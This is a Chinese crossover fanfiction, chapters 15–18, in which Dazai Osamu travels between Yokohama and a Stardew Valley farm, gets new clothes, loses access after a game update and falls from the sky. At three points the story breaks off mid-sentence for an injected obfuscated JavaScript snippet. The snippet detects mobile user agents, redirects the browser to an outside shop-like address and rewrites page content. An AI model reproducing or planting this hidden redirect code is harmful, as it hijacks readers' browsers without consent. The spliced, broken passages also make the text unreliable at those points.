他的影子的前端,正好和她的影子的后面一小部分重叠在一起,像是一个人压着另一个人的影子走。 他想起了一个不知道从哪里听来的,关于影子的传说。 ——如果你能踩到一个人的影子,那个人就永远不会离开你。 太宰治把这个念头从脑子里甩了出去。 幼稚。 他为什么要做这种事。 他加快了半步,让自己的影子往前移了一点,正好踩在了农场主影子的正上方。 ……只是不小心。 艾利欧特站在木屋的门口,手里端着两杯咖啡。他看着太宰治和农场主从田埂上走过来的样子,表情没有什么变化,嘴角还是挂着那个温和让人挑不出毛病的笑容。 “早安。” 他说,把一杯咖啡递给农场主,另一杯端在自己手里。 “早安。” 太宰治说。 艾利欧特的目光落在他身上停了一瞬,随后侧了侧身,让出了门口的位置。 “进来一起吃早饭吧。” 他说,语气和先前一模一样。 胡搅蛮缠地在森鸥外那里盖章,现在的一切举动都归为一场理所当然的接近调查的太宰治,不仅理直气壮地吃着艾利欧特做的饭,还状似闲聊般开口问道: “艾利欧特先生还不打算去签售吗?一般来说新书发布的最开始那段时间是黄金时间,错过了那段时间可就没那么受欢迎了。” “最近还有很多节日农场主要参加,如果我也不在的话,家里的事就没人照料了,尤其接下来三天的沙漠节,我想农场主应该大多数时间都会在那边。” 艾利欧特看着农场主,露出浅浅的笑容, “比起我的梦想,我更希望农场主能在我身边。” 太宰治的咀嚼动作慢了半拍,他看向自己左手边的农场主: “沙漠节?那是什么,农场主小姐还没有为我介绍过呢。” 农场主猛然被cue到,从奶油蘑菇汤碗里抬起头,在脑子里翻找了半天后终于想起来这件事: “啊,那是因为我也没去过。” 最近红红火火种地的她差点要把沙漠节忘在脑后。 “镇上通往沙漠的巴士站是我几个月前修好的,之前没办法去沙漠,我也就错过了去年春天的沙漠节。艾利欧特不说,我都没有想起来还有这个节日。” 她转向太宰治, “太宰君要去吗?那里和鹈鹕镇的气候完全不一样,不过也有很多有意思的东西就是了。” 少年点点头。 “拿到妖精的馈赠真是太好了呢。” 农场主笑了笑, “去一次沙漠的巴士票就要五百金币,如果没拿到这笔资金的话,太宰君就没法去了。” 太宰治…… 太宰陷入沉默。 五百金币。一次。连续三天。 一千五百金币。 刚富裕起来的钱包在肉眼可见的未来开始急速缩水。 但沙漠节艾利欧特不会出现,他只会待在家里。 “那么,” 太宰治的嘴角慢慢地、慢慢地弯了起来,压低声音,像是再说一个只有两人知道的秘密, “农场主出发的时候,一定要带上我哦。” 15. 奇迹农场主 “不过说到沙漠——” 农场主把最后一口奶油蘑菇汤喝完,心满意足地放下碗,活跃的脑子再次占据了高地, “太宰君这身衣服穿着不觉得热吗?” 她抬起头,目光在太宰治身上从上到下扫了一遍。 黑色大衣,黑色西装,白色衬衫,黑色长裤,黑色皮鞋。还有那从脖子缠到手腕的绷带,在衣服的缝隙间若隐若现。 太宰治虽然保持着微笑,但已经在内心默默打出了一个问号。 鹈鹕镇的气候比横滨要暖和些,春天穿成这样站在田埂上,确实有点热。但他从来到这个世界的第一天起就一直穿着这身衣服,从来没有想过“换衣服”这个选项。 他从来没有想过“自己可以换衣服”这件事。一来是他在港口mafia时也基本都保持着这套装扮,二来就像游戏里的npc不会自己换衣服一样——他默认了自己也不会。 但农场主显然不这么想。 “我做衣服的能力也不错。” 农场主暗示,不,明示道。 太宰治甚至能在对方眼中看到跃跃欲试几个字。 他嘴角抽了抽。 “还有啊,一个好的形象有利于和他人交流沟通,” 农场主看他没有拒绝——或者说,看他还没有来得及拒绝,趁热打铁, “并且也很方便行动,适合干农……不是,出门散步。” 那个“活”字被她硬生生吞了回去,但太明显了,反而暴露了她原本想说的是什么。 拐人干活的心根本藏不住。 而如果抛却做农活这件事本身,能否在这里真的换上一套新衣服,也成了有趣的留白悬念。 “那——” 太宰治托腮,语气中多了一丝连他自己都没有意识到的轻快, “就麻烦农场主小姐了。” 他很好奇,农场主更好奇。 和他的想法差不多,众所周知,一般的npc根本没法换衣服,除了之后再为此新打mod以外别无他法。 但太宰治竟然答应了,难道真的有着这么一个可能,衍生mod的自由度高到了这个地步吗?不仅对话是独立的,事件是独立的,好感度是独立的,连换装系统都是独立的? “正好——” 她从椅子上弹起来,拉住太宰治的手腕,就朝家里的石箱走去, “我家里有很多不穿的衣服,你要先试试看吗?” 太宰治还没反应过来,对上农场主毫无反抗之力的他就被拉了过去。 随后他意识到了一个非常严重的问题。 农场主的两句话单独看没有任何毛病,组合在一起也挑不出什么语法错误。但是让他试穿…… 意思是让他穿女装吗?! 港口mafia史上最年轻的干部僵在了原地。 而石箱的盖子已经打开了。 箱子里的衣服果然是各有特色。 女巫帽,蝴蝶结,猫耳(为什么会有这种东西?),皇冠,圣诞帽,短裙,长裙…… 真是应有尽有,里面的数量都能开一家店铺了。 但农场主似乎很多都没有穿过,只是收集。衣服上甚至没有使用的痕迹。 她果然又用那副带着笑容的,眼睛亮晶晶的表情看看他: “试试吗,太宰君?” 太宰治深吸了一口气。 “不,绝对不要。” 他的目光从那其中扫过,最后被一件紫色短裤吸引了。 也不怪他会被那件裤子吸引,在那堆裙子、蝴蝶结、猫耳间,它显得格外突兀,尤其是那明显是一条男性穿的紫色短裤,但上面还镶了金边,显示出了一种别样的意味。 太宰治的目光定格在那条裤子上,停留了几秒。 农场主的目光也随之定格在了那上面: “嗯……如果你真的想要的话……” 她带着一种复杂,微妙,一时半会竟然无法分解其中意思的表情,郑重地叮嘱着: “如果你真的很想要的话——穿的时候不要太在意其他人的想法。” “不,我完全不想要。” 太宰治挂着假笑,直觉不应该再追问那背后的故事,迅速转移了话题, “如果只是试穿的话,艾利欧特先生不介意,我可以试穿他的衣服。” 但就算是农场主,也不知道艾利欧特的衣柜在哪里,又有多少衣服。 可是这么说似乎有些太奇怪了,于是农场主的脑子再次占领了高地: “艾利欧特的东西是艾利欧特的东西,我的东西当然可以随便送给你,但他的东西需要经过他的允许才行,我不能代替他做决定。” 太宰治的笑容收敛了些。他瞥向另一边坐在书桌边的男人,对方像是没听到他们的谈话一般,沉默地坐在那里,身体力行地表达了拒绝。 “那还是不用了,我很期待农场主小姐为我做的衣服呢。” 他的目光从艾利欧特的背影上收回来, “我会好好珍惜这份心意的~” 看他这么郑重,农场主本来只是半开玩笑的提案,也不由开始重视起来。 她仔细想了想自己做的那些衣服经常会加的东西,开始翻箱倒柜,从其他箱子里找出一些奇奇怪怪的破烂: “你喜欢化石吗?” 她举起一块白色的东西,像是某种远古生物的骨骼。 “或者矿石?” 她又举起一块亮晶晶的石头, “还是花卉?蜂蜜?海藻?” 她一边从那堆破烂里刨东西,一边头也不回的提出自己的想法, “加点鱼子酱和松露或许也不错!” ……听起来都不像是能做衣服的材料。 太宰治作为一个一年三百六十五天有三百六十天大衣都焊在自己西装外套上的、常年保持着外套不掉的帅气造型的表面不在意、其实还是会把外表收拾得干净利落的少年——一个还没完全脱离中二病期、眼光却在各种交易和谈判中逐渐拉高的少年。 他可不想要奇怪的东西。 农场主注意到他一直没有回答,想了想,又翻出另一个箱子来,一打开,珠光宝气的光芒几乎要晃瞎人的眼睛: “也许你更喜欢这些水晶,宝石,钻石之类的?” …… 太宰治盯着那堆珍奇异宝,又看看她刚才翻出来的各种化石。隐约觉得他对农场主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471717|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前的财力判断出现了一些失误。 不过也许只是这个世界的宝石并不值钱呢?毕竟农场主露出了毫不在意的表情啊。 但这些东西能镶在衣服上吗? 答案是可以,并且完全没问题。 在他强烈表示想让农场主先现场展示一次自己的缝纫技巧后,农场主用一块布料和一块……花岗岩,做出了一件黑色的上衣。 就用那台在角落放置的看起来不起眼的小缝纫机。 这个世界的奇妙之处,再次这么不经意地闯入到了他的面前。 而这种不确定和随机性也让太宰治兴致勃勃。 他们花了一个下午在那台缝纫机前。用着各种各样奇奇怪怪的东西,尝试了不同的做衣服的办法。 农场主的箱子数量多到令人惊讶,里面的种类更是令人打开眼界。 “因为我不确定什么奇奇怪怪的东西有一天就会派上用场,所以我什么都留了点。” 但看着那包罗万象的品类,太宰治觉得这已经是收集癖的程度了。 最后得出了大致的规律,放进去的物品颜色会影响到衣服的颜色。 其余的除了上衣,裤子和裙子分别要用固定不同的东西外,就没什么规律了。 太宰治就这么最后从其中挑出几款,拎着自己崭新的黑色三件套——黑色上衣,黑色短裤和黑色帽子回到了自己的小屋。 都是比身上的大衣更适合星露谷气候的款式,他最开始强烈排斥黑帽子,因为那让他想到了小矮子的审美,但想到遮阳的作用,最后还是勉为其难的留下来了。 ……什么,遮阳不应该选黑色帽子?他才不知道这种事。 临睡前,他脱掉了往日那些作为□□干部的沉重装束,换上了新衣服的太宰治借着玻璃的反光打量着自己,皮肤苍白的少年看起来更像是这个鹈鹕镇上的一员了。 他躺回床上。 每次入睡也都是合衣而睡。以前是为了防止有意外,现在是习惯了。 他就这么闭上了眼睛。 农场主隐约察觉到哪里不对劲。 她一直没有深究,不是因为她没看到那些异常,只是她觉得那些不重要。 不管太宰治是什么,不管他是mod角色也好,是bug也好,是系统错误也好,是别的什么东西也好—— 在逐渐和少年的相处中,农场主确实感到久违的,从人际交往中得到的快乐。 不是那些为了攻略,或者为了增加房子房间和有人帮忙干活的其他角色,农场主有时会把太宰治当做一个真正的人来看待。 但是这个游戏,她从没有开过联机。 单机游戏内,又怎么可能有其他玩家呢? 何况还是她自己在n网下载的数据。 农场主在心里给自己默默找了一个解释。 只能说,现在的角色驱动真厉害啊。难道是所谓的ai大模型利用的结果吗?也许N网的那些mod作者们,已经开始用ai来制作npc了。 如果能更多了解他就好了,哪怕是程序…… 农场主也想要更进一步。 于是,当太宰睁开眼睛的时候。 ——那套衣服没有换回去。 16. 农场主和bug 不仅是衣服没有换回来,那件被太宰治睡前放在椅子上的黑西装也没有回到现实中。 太宰治坐在床边,神色晦暗不明。他身上的衣服带着柔软的触感,包裹着过分敏锐的感官。 少年就如同一座沉默的雕塑一般,坐在床边,一动不动。 他表情平静地思考了很久。 最终,他打开衣柜,从里面拿出了一套新的黑西装换上,然后把那件从鹈鹕镇带回来的衣服叠好,压在了衣柜的最深处。 门关上了。 森鸥外召见他的时候,难得有些意外,对方的形象看起来比往日清爽多了,少了些噬人的压迫感。 他的目光在太宰治身上从上到下扫了一遍,然后他意识到造成那感觉的原因是今天少年没有穿那件他送给对方的大衣。 ——那是作为港口mafia习俗中,引导者送给后辈的礼物。 不过不得不说,没有了那件大衣,太宰治看上去稍微符合了一些他现在这个年纪该有的稚嫩感。 至于为什么不穿那件大衣…… 森鸥外还没自讨没趣到这种地步,他是港口mafia的首领,又不是太宰治的保姆,何况关心这种事也对当下的任务无济于事。 “最近对星露谷的调查有什么进展吗?” 最终还是以这件事开了头。 “没什么值得说的进展,真要说,知道了星露谷的范围不仅仅是那片小镇,还包括了沙漠的区域,这也与之前那些部下的话语互相验证了。” 太宰治没精打采地说,带着点对即将发生的事情的拒绝, “明天、不,今晚我会去调查的。” 森鸥外对自己接下来要说出口的任务,突然产生了一秒的犹豫。 只是一秒。 然后首领先生将话语揉进糯米纸里,变成更委婉的措辞: “一般来讲,目前调查的任务优先度更高,但是,今天……” 太宰治死鱼眼。 “有一伙外部势力偷偷进入了横滨境内流窜作案,严重挑衅了港口mafia的威严,他们转移速度太很快,每次得到情报再过去都会扑空,可能其中有异能者。” 森鸥外轻咳一声, “如果不是我们派出去的人手每次都空手而归,我也不会把这件事交给你,太宰君。希望不要因为这件事耽误你晚上进入梦境的时间。” 太宰治本就不快的心情更是雪上加霜。 他没有将鹈鹕镇与横滨的交换更进一步的事报告,也还没有想清楚这意味着什么,就被告知今天还得去抓一群不知道从哪里冒出来的蠢货们。 太宰治深吸了一口气,又缓缓吐出来,像是在用肺活量表达对这个世界的全部不满。 “知道了。” 但要求必须交给他的任务,肯定有它的特别之处。持续着追逐这群逃亡势力,一直到了凌晨才彻底结束了这场抓捕。 太宰治站在横滨港的码头边上,看着最后一个人被押上车,低头看了看时间。手机屏幕的光在黑暗中亮起来,照亮了他的脸。凌晨一点四十七分。 将人交给红叶姐的部下,处理好后续,他还必须回到自己的住所换回那身衣服才行,这样也方便下次在鹈鹕镇入梦的时候将原先那套衣服换回来。 那样就至少要凌晨三点之后…… 不知道会不会影响到和农场主的约定。 鹈鹕镇。 农场主早早起了床,将院子里的日活都做完之后就兴高采烈地去湖边的小屋喊太宰治出发。 她敲了敲门,里面静悄悄的,没有人回应。 她又敲了敲。 还是没有人回应。 嗯? 就不提以往两人还不熟悉的那段时间了。最近这几天,太宰治甚至会主动前往她的农场,农场主还以为至少前一天的约定是可以正常遵循的。 她还以为,今天早上她来敲门的时候,门会打开,太宰治会站在门口,穿着那身新做的黑色衣服,歪着头,笑眯眯地说“早上好”。 ——结果不是吗? 眼看马上就要到潘姆上班的时间,太阳也升的老高了,农场主想了想,试着去推门—— 还真推开了。 看来好感度至少达到了两心? 农场主因为这个发现心情雀跃了些,但当她推开卧室门,发现床上空无一人的时候,又不禁脑门上冒出了个巨大的问号。 甚至一旁的椅子上还放着少年之前穿着的、被她点评为“厚重不方便”的黑衣套装。 ……难道他早就出门去找自己,结果两人半途中错过了? 农场主迷茫地再次从玛尼家旁边的小路回到了农场,甚至将鸡舍和畜棚都翻找了一次,也没找到一丁点黑色衣角的踪迹。 在小镇上转了一圈,询问了其他人也没得到有效线索。 难道是先她一步去了沙漠吗? 但不是已经约定好了一起…… 太阳已经升的很高了。 农场主再次像无头苍蝇一样花费五百金坐巴士到了沙漠,依旧是毫无头绪。 她想了想,难得调出了另一个mod。 这个mod她平时不怎么使用——打开地图可以看到人物的具体位置。她不用它,是因为她早就记录了镇民大致的活动路线。 但当出现了太宰治这样一个程序外的,不受任何规律约束的存在时,她觉得有必要通过地图来寻找对方的位置。 ……没有。 哪里都没有。 沙漠没有,矿洞没有,鹈鹕镇没有。 仿佛这个人不存在一样。 农场主站在烈日下,看着那张依旧在显示其他人动态的活点地图,看了很久。 是其他mod和人物角色mod冲突了吗? 环境检测没有问题,游戏运行稳定,没有报错,没有闪退,没有报错。 如果非要一个个排查,就只能从文件夹中剔除再一次次尝试了。 唔…… 这个工程量真是令人眼前一黑。 但既然是“太宰治”这个mod出了问题,从n网上再下载一次,把之前的删除掉重新来吧。 农场主首先确保了n网上那位名为“port mafia”的作者产出中仍然存在着这个mod,随后,将自己文件夹内的“太宰治”彻底删除。 横滨。 当太宰治终于结束了一切流程,闭上眼睛准备像往常一样“入睡”然后“抵达”的时候。 ——什么都没有发生。 他再次闭上眼睛。 还是什么都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471718|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有发生。 他试了第三次。 三次都是同样的结果——闭上眼睛,黑暗,睁开眼睛,天花板。没有湖边的木屋,没有晨光中的草莓田,没有农场主蹲在鸡舍里哼歌的背影。 什么都没有。 他不知道自己是什么时候睡着的。 他只是知道,当他再次睁开眼睛的时候,天已经亮了。 港口mafia本部大楼,干部办公室。 太宰治坐在办公桌后面,手里拿着一支笔,但没有动作。 笔尖在空白的报告纸上点着,墨水洇出了深色的圆点。但他的目光却没有落在上面。 他昨晚没有去鹈鹕镇。 不是不想去——是去不了。 无论尝试多少次,再次睁开眼都是冰冷的白色天花板。 为什么会出现这种情况? 和那套被带回来的衣服有关?还是农场主出了什么事?或者是,那个名为鹈鹕镇的世界不再对他敞开? 如果真的进不去了—— 太宰治把笔放下,笔杆在桌面上滚了几圈,停在桌沿,像一个站在悬崖边上的人。 为什么,他在担心这件事? 如果不再进入,他就可以不用白天在港口□□工作,晚上还要去鹈鹕镇演戏了。他终于可以回到原来的生活。 这样的“担心”,对他来说…… 太危险了。 太宰治把报告纸翻到新的一页,冷静客观地写着例行公事的报告。 与此同时。 农场主在重复删除——下载——等待这样的过程三次后,天都快摸黑,什么事都没有来得及做,但湖边的小屋里依然空无一人。 “为什么啊——” 不通编程代码的她抱着头,几乎都要崩溃了, “这种事我不要啊——” 好不容易才找到一个这么合心意的mod!她还没有解锁他的全部好感度剧情,还没有看到他的生日,还没有搞清楚他的喜好和讨厌的东西,她不要就这么结束啊! 只有她能看到的虚空中,系统面板突然在此刻跳出了一条提示: “检测到新版本,是否升级?” 抱着头cos杰尼龟的农场主动作僵住了。 欸,原来是版本更新的问题吗? 不管如何,死马当作活马医。她已经没有别的办法了,农场主毫不犹豫地点击了“是”。 “系统更新预计在二十四个小时内完成,在此之前请确保您已经存档,在更新期间,非系统文件禁止运行” 非系统文件…… 难道是指她下载的那堆mod吗? 太宰治还是决定再尝试一次。但昨天晚上的失败太过深刻,深刻到他不需要闭上眼睛就能回忆起那种挫败感。 于是这次,他又来到了后山。 那条小径和先前相比已经不再那么不起眼了。他第一次来的时候,它藏在半人高的草丛里,如果不是刻意去看,很容易就会错过。但现在,大概是来过的人太多,它已经被踩成了坚实的路。 太宰治这时候突然有些好奇。 这么多前来调查的人,为什么只有他一个人能被允许彻底进入鹈鹕镇? 为什么只有他一个人不是“游客”,而是“新来的镇民”? 17. 农场主和天降系 但走着走着,少年察觉到了不对劲。 山林里有雾气本来是常见情况,他第一次来的时候也遇到了雾。 但今天的雾不一样。越向神社方向走去,雾气便越发凝实,几乎要成为实体。 等他依照着记忆走到鸟居处,连那近在咫尺的红色都看不真切了。暗红色的鸟居在雾气中,变成了一团模糊的影子。 雾气的实感沉甸甸地压着他,像有人把一层层湿透了的、厚厚的布蒙在了他的脸上,放在古代,都可以称得上是酷刑,几乎要将人的肺挤压到窒息。 太宰治走到这里,已经感到了轻微的呼吸困难。 如果之前的报告里没有出现过这种情况——那就说明,这种变化是最近才发生的。是在他第一次进入鹈鹕镇之后,一次又一次地往返于两个世界之间时,不知不觉中改变了什么之后发生的。 “被空气挤压到窒息而死……” 太宰治轻声开口,声音在浓雾中变得沉闷, “听起来也真是新鲜的,还没尝试过的办法呢。” 随后,他继续向前走去。 每一次呼吸都需要用力,平时根本不会在意的空气,现在竟成了难得的珍惜品。 但他没有后退。 他抬起脚,跨过了鸟居。 脚落下的那一瞬间,他感觉到了变化。不是视觉或者听觉上的变化——山林里还是一片死寂,连风声都没有,周围依旧是雾蒙蒙的。 那是一种说不上来,玄而又玄的第六感。 他继续往前走。 上升的楼梯似乎永远都没有尽头。 太宰治讨厌运动,这种事他从来都是能躲就躲,能推就推,但此刻,他几乎是机械性地抬腿,再放脚,就这样重复着这样的行动。 太宰治数着自己的心跳。 在这片灰白色的、没有边界的、没有时间概念的雾气里,一切感知都变得模糊了。 依照他平日的步幅,以及现在计算的时间,他本应早就抵达了那座主殿前。 而如今,道路还在向上,向前延伸着。 那么如果一直向上向前,在这座雾气里永远的徘徊,会抵达神明居住的高天原吗? 太宰治的嘴角弯了一下,像是在笑自己的这个念头。当初嘲笑森鸥外奇思异想的是他,现在第一时间想到了同样的事的也是他。 面前看不清的路还在延伸着。 周围的环境已经完全失焦,太宰治低头拿出手机,屏幕上是“无服务”三个字,他没有再看,又把手机塞回了口袋里。 ……雾气已经越来越凝实了。这片雾气中似乎只有他一个活物。 他只知道自己的腿在动,自己的肺在收缩,自己的心脏在跳,自己的呼吸在不断加重。 安静到难以忍受。 直到不知何时,脚下连路都完全消失了。 太宰治环顾四周,全是一片白色,看不清方向,也看不到前路。回过头,后面也是一片白茫茫。 “这还真是……” 他索性站在了原地。方向已经失去意义的现在,似乎向哪个方向走都是一样的。 时间过去了多久呢? 那已经成了无意义的数字。 他想,也许这就是“永远”。也许他已经死了,也许这片雾就是死亡后的样子——没有疼痛,没有黑暗,没有光,也没有人,没有声音,什么都没有。 很久之后,不带任何意义的嗡鸣声贯穿了这片空间。 然后,他看到了光。 不是那种人造的,冷白色的白炽灯光。是金黄色的,清晨第一缕阳光的模样。它从雾气的尽头透过来,像一只伸出的手。 太宰治向那里快步走去。 光越来越亮。雾气越来越薄。他的脚步从走到跑,胸腔内发出急促凌乱的声响。 为什么会这么急切? 他不知道。 也许只是害怕寂寞吧。 太宰治冲出了雾气。 光刺得他睁不开眼睛。在那一瞬,他的身体失去了所有的支撑。就像一个从悬崖上跳下去的人,感觉到了强烈的失重感。 风从耳边呼啸而过,像一列火车从他身边驶过。 他的衣服在风中猎猎作响。 太宰治睁开眼。 他在坠落。 鹈鹕镇。 农场主嘴里咬着根草,为了省力趴在地上,琢磨着UI界面。 重启可以解决百分之九十九的问题。 更新就不一定了。 众所周知,第一批的更新往往会出现这样那样的小问题。然后系统才会根据反馈进一步打补丁。 农场主当然知道这个道理。她不是第一次玩游戏,也不是第一次经历版本更新。但她还是忍不住每隔几秒就刷新一次页面,蹲在湖边小屋外像个跟踪狂一样殷切地等待着。 系统在她急切的心情中终于慢吞吞地冒出了“更新完毕”的提醒。 系统更新日志: 进一步更新了交互模式 增加了星露谷最大可承载数据量 更新了云端存储,可以进行预下载,未保存数据可以在缓冲区进行导入 更新了…… 农场主还没看完那些排列着的,密密麻麻的字句,突然听到远处有什么呼啸声。 她一个激灵爬起来,四周看了一圈,什么都没有看到。 打开地图mod,太宰治的头像就在她的位置处,几乎要与她重叠。 但当农场主冲进对方的小屋时,却依旧没有那个人的身影。 到底是…… 她依照着地图的指示分毫不差地站在太宰治的图标下,先是低头犹豫地看着土地——偶尔也有卡bug到地底的事,也许太宰治的模型就在她脚下的泥土里卡着。 但随后,她又抬起头。 ……有什么黑色的小点似乎在逐渐变大。 那黑点从天空的深处出现,最开始混在云的阴影里,几乎看不出来。但它越来越大,从芝麻大小逐渐变大,最后隐约的,显露出一个人的形状。 啊这。 那呼啸声找到源头了。 农场主不可置信地看着天空的那个黑点,被太阳的光线照的刺眼到眼圈一红,几乎要流下泪来。 这新bug也太奇怪了吧!太宰治从天而降了!难道这就是现在所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471719|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谓的天降系吗?! 写实过头了! 天降系主人公正在思考。 越过那道光,太宰治下意识闭上眼睛,再次睁开的时候,面前就是呼啸而过的云层了。下面的建筑小到看不清,但熟悉的氛围让他意识到,他第一次以这么一种奇怪的方式进入了星露谷。 从几千英尺的高空无绳跳伞吗,他可以申请吉尼斯记录了。 连大衣都没有,仅仅只有一件修身西装的他显然是无法试图用那点面料装降落伞来实现一些对冲的反作用力。 当然太宰治也不会做那种事。 他只是异常平静地感受着呼啸的风声,高空中水雾凝成的云带来的湿气,以及背后炙热的阳光。 那地面越来越近,如小点的建筑也越来越大。从高空中俯瞰,可以很明显地看到农场主的农场占据了多大的一片区域。 但在鹈鹕镇之外,有更多的云雾遮挡着他的视线,除了南部的海以外就看不真切了。 在鹈鹕镇内没有死亡的概念。 于是太宰治试图在空中转个身,他觉得脸朝地有些太逊了。如果一定要以某种姿势落地,他宁愿是背朝地,或者侧着,或者随便什么,只要不是脸。 他甚至还有心思在心里计算接下来即将遭遇的疼痛的倒计时。 三、二、一—— 呼啸而过的风声中,依稀能听到有什么人在喊叫。 他看着那蔚蓝如玻璃珠的天空离自己越来越遥远。 只有他在向下,向下,向下。 随后,紧接而来的不是预想中坚硬的疼痛,而是一个温暖的,柔软的怀抱。 有人很高兴地宣布: “我接住你啦!” 背光中,少年以被公主抱的形式,落入了农场主的怀中。 “太宰君?” 农场主的头发乱糟糟的,眼睛还有些红,带着点泪痕,声音却比刚刚放轻了不少,像是一个人在确认一个太美好的梦是不是真的, “你……没事吧?” 太宰治一时没有说话。 他的身体还被她抱着。农场主一只手从他腋下穿过托着他的肩膀,一只手托着他的腿弯。她的心跳声又快又吵,几乎与他的重叠在一起。 他的嘴角弯了一下。 那个弧度很浅,像是有蝴蝶在胸膛里轻轻振翅带来的痒意。 “没事。” 他的声音比平时轻了一些, “我回来了。” 农场主愣了一下。 然后她吸了吸鼻子,把那层水汽用力眨了回去,笑了起来,眼睛像是被点亮一样熠熠生辉。 “欢迎回来!” 她终于恢复了往日的元气,语速也开始加快, “你知不知道我等了你多久——我还以为你再也回不来了——我还以为——” 太宰治轻叹了口气。 他极其生疏地抬起胳膊,像是第一次对人这么做一样,手轻轻按在了少女毛茸茸的头顶上。 “不会的。” 他说, “至少现在不会。” 至少……在对星露谷的调查任务结束之前不会。 18.农场主和约定 “沙漠节,我应该还没有错过吧?” 太宰治把手从她的头顶上收回来,然后从农场主的臂弯里跳了下去。 农场主眨了眨眼,有些意外: “你……还记得啊。” “当然。” 太宰治把双手插进口袋里,歪了歪头,露出一个她熟悉的,笑眯眯的表情, “我可是很守信用的。” 农场主立马就高兴了起来: “还没有哦,正好明天是最后一天,我们到时候可以一起去!” 她好像又想到了什么,目光从太宰治的脸上下移,仔仔细细打量了他一圈, “不过今天就先吃点东西补充一下精力和健康吧。” 在她的视线中,更新后的星露谷内,太宰治头上多了两管明晃晃的血条和精力值,两者都已经消耗了不少。 当然自己的也一样。不过好在她之前星之果实吃得多,这点伤害对她的影响不大。 太宰治也意识到作为天降系主人公的自己刚刚本应是遭遇到一场极其强烈的撞击的。他脑子里冒出相同的念头,下意识上上下下扫了农场主一圈: “小姐的胳膊,没事吗?” “嗯?哦,对哦,没事,” 农场主这才像反应过来一样,甩了甩自己的胳膊,向他展示, “完全没事,下落伤害设定没这么高……不是,我是说日常多锻炼,多做农活常下矿,这点小事不算什么的啦!” 她甚至做了个健美的姿势, “看!完全没问题!” 太宰治有点想笑。 自从他昨天决定从后山出发之后,这一路上似乎经常遇到让他弯起嘴角的事。 “那就好。” “今天如果实在想去,应该也能赶上个尾巴。” 她歪着头想了想,然后摇了摇头, “不过我觉得差不多到午饭时间了。不管什么事都得排在后面,吃饭最大!” 农场主伸出手,拉住了他的手腕, “走吧,和我回家吃饭!” 太宰治低头看了看她的手,又抬起头,看了看她的背影。少女的步伐轻快,嘴里哼着不知名的曲调,马尾辫在阳光下甩来甩去,显示出主人极好的心情。 他没有挣开。 农场主的农场里,动物们依旧和之前一样,满世界乱跑。那几只粉色的猪还在院子里刨土,太宰治以没有让任何人注意到的力度,微微远离了那个方向。 风从池塘的方向吹过来,带着水草和泥土的气息,一切都和之前一样。 一切都和他在鹈鹕镇的每一天一样。 甚至,农场主手心传来的温度,随风飘过的她身上淡淡的,像是晒好被子那样温暖的味道,也顺带着传入了他的鼻腔。 被关注到的东西变多了。 那些细节丰富了眼前的一切,让鹈鹕镇更像是一个美好到不真实的桃花源。 但是有哪里……好像不太一样了。 鹈鹕镇和之前看起来别无二致,就连农场主的表现都没有变。 那是自己变了吗? 太宰治想。 毕竟是和先前完全不同的进入方式,这次的他从天而降,落在了自己的小屋旁。 太宰治从那份不知该如何描述,极少有的情绪中抽离出来,突然神色微变。 他能感受到,自己的后腰口袋里有着什么冰冷坚硬的金属。就算是不用眼睛确认,仅仅是些许触碰的皮肤就能立刻确认—— 那是和这个小镇格格不入的枪支和手机。 他进入后山时唯二带着的两件物品。 啊。 他知道是哪里不对劲了。 周围的一切,包括他的感知,变得过于鲜活了。 往日里穿着黑西装套装的太宰治会感觉“太阳有点晒”,由此联想到热。但不会像现在一样,额角已经在微微冒汗,身体自发地做出了正常的生理反应。 而周围的一切,包括风里带着的泥土气息,湖水的湿润,那些丰富多样的气息,与先前比起来,更像是摘下了那层隐隐约约的纱。 这个世界现在…… 如此真实。 身旁的农场主还在盛情介绍着最近新增加的菜式,一副毫无所觉的样子。 “艾利欧特最近学了一道新菜,是用沙漠那边买的香料做的,味道特别——太宰君?你有在听吗?” 太宰治突然抬起头看向天空。那烈日的光线让人的眼睛不自觉沁出湿润。 农场主似乎对他突然的举动很不解。她歪着头,顺着他的目光也抬起头看了看天空——什么也没有,只有太阳、云、还有足够澄澈的天空。 “怎么了?” 是还在担心会卡bug卡到天上去吗? “没什么。” 太宰治收回视线。 他在想一件事。假设他是从两个世界的裂隙中跨越过来的——从横滨的后山,穿过那片雾气,然后从天空坠落,落在鹈鹕镇。 那么,如果他要回到横滨,难道要再飞到天上吗? 来的时候想象是黄泉之国,回的时候对应的却是辉夜姬吗? 不合时宜的笑话冲散了那点阴霾。太宰治嘴角又弯了弯。 他抬起头,发现农场主正在看着他,眼睛里写满了疑惑,过了好一会才继续之前的吐槽, 